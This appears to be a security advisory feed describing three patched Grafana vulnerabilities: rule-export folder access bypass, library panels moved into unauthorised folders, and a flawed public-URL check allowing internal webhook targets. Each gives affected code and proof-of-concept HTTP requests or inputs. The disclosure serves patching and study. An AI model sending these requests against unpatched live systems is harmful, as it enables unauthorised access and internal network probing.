A user with only folders:read permission on folder F1 (but no alert.rules:read) sends: GET /api/ruler/grafana/api/v1/export/rules?folderUid=F1&folderUid=F2 where F2 is a folder they can see. The old code passed the raw folderUIDs=[F1,F2] to searchAuthorizedAlertRules (not the filtered query.NamespaceUIDs), bypassing folder-level rule access checks and potentially returning rules from folders the user should not access. Additionally, GET /api/ruler/grafana/api/v1/export/rules?folderUid=F1&group=some-group with only folders:read would return 500 (leaking that the group exists or internal error state) instead of 403.

⚠️ MEDIUM VERIFIED Broken Access Control / Privilege Escalation

May 27, 2026, 08:54 PM — grafana/grafana

Commit: 5877f5c55cc80c890b4d4ab44ff1d9488b15c4fd

Author: Ryan McKinley

The `PatchLibraryElement` endpoint allowed any user with `library.panels:write` permission on a library element to move it to any folder, including folders they cannot write to or even see. The route-level guard only checked write permission on the element itself, not create permission on the destination folder. The patch adds an explicit `library.panels:create` evaluation on the destination folder UID before allowing the move.

🔍 View Affected Code & PoC

Affected Code

if cmd.FolderUID != nil {
    // Only checked if folder exists and is not provisioned, but
    // NO check that caller has create permission on destination folder
    if f.ManagedBy == utils.ManagerKindRepo {
        return model.LibraryElementDTO{}, model.ErrLibraryElementProvisionedFolder
    }
}

Proof of Concept

1. Attacker has `library.panels:write` on a library element in folder1, but only VIEW access to folder4 (no create permission).
2. PATCH /api/library-elements/{uid} with body: {"folderUid": "folder4-uid"}
3. Before the patch: request succeeds (200 OK), element is moved to folder4 despite attacker lacking create permissions there.
4. After the patch: request returns 403 Forbidden.

Concrete HTTP request:
PATCH /api/library-elements/myElementUID
Authorization: Basic Z3JhbnVsYXItdmlld2VyOmdyYW51bGFyLXZpZXdlcg==
Content-Type: application/json
{"folderUid": "folder4UID", "kind": 1, "name": "My Panel", "model": {}, "version": 1}

⚠️ MEDIUM VERIFIED Security Control Bypass

May 27, 2026, 06:23 PM — grafana/grafana

Commit: 1c189bcecdcbc2bdcbd6d6256257e712d9c7d6fd

Author: Roberto Jiménez Sánchez

The `isPublicURL` function used naive string matching to determine if a URL is public, allowing an attacker to bypass webhook registration restrictions. Specifically, `strings.Contains(url, "localhost")` would return true for legitimate public hosts like `notlocalhost.grafana.com`, blocking valid webhooks, but more critically the incomplete RFC1918 check (only `172.16.` prefix, missing `172.17`-`172.31`) meant Grafana could be tricked into registering webhooks pointing to internal/private infrastructure in the 172.17-172.31 range, potentially enabling SSRF-like scenarios where external webhook providers attempt to call back to internal services. The patch replaces string matching with proper URL parsing and CIDR range checks.

🔍 View Affected Code & PoC

Affected Code

func isPublicURL(url string) bool {
	return strings.HasPrefix(url, "https://") &&
		!strings.Contains(url, "localhost") &&
		!strings.HasPrefix(url, "https://127.") &&
		!strings.HasPrefix(url, "https://192.") &&
		!strings.HasPrefix(url, "https://10.") &&
		!strings.HasPrefix(url, "https://172.16.")
}

Proof of Concept

// An attacker controlling Grafana configuration or webhook BaseURL could set:
// baseURL = "https://172.17.0.1/internal-service"
// isPublicURL("https://172.17.0.1/internal-service") returns TRUE (bypasses check)
// because only "172.16." prefix is checked, not the full 172.16.0.0/12 CIDR range.
// This causes Grafana to register a webhook with an external Git provider (e.g. GitHub)
// pointing to an internal IP, and if that provider attempts delivery,
// or if an admin is deceived into thinking the URL is verified as public,
// internal services at 172.17-172.31 could be targeted.
// 
// Concrete: isPublicURL("https://172.17.0.1/") == true  (before patch)
//           isPublicURL("https://172.17.0.1/") == false (after patch)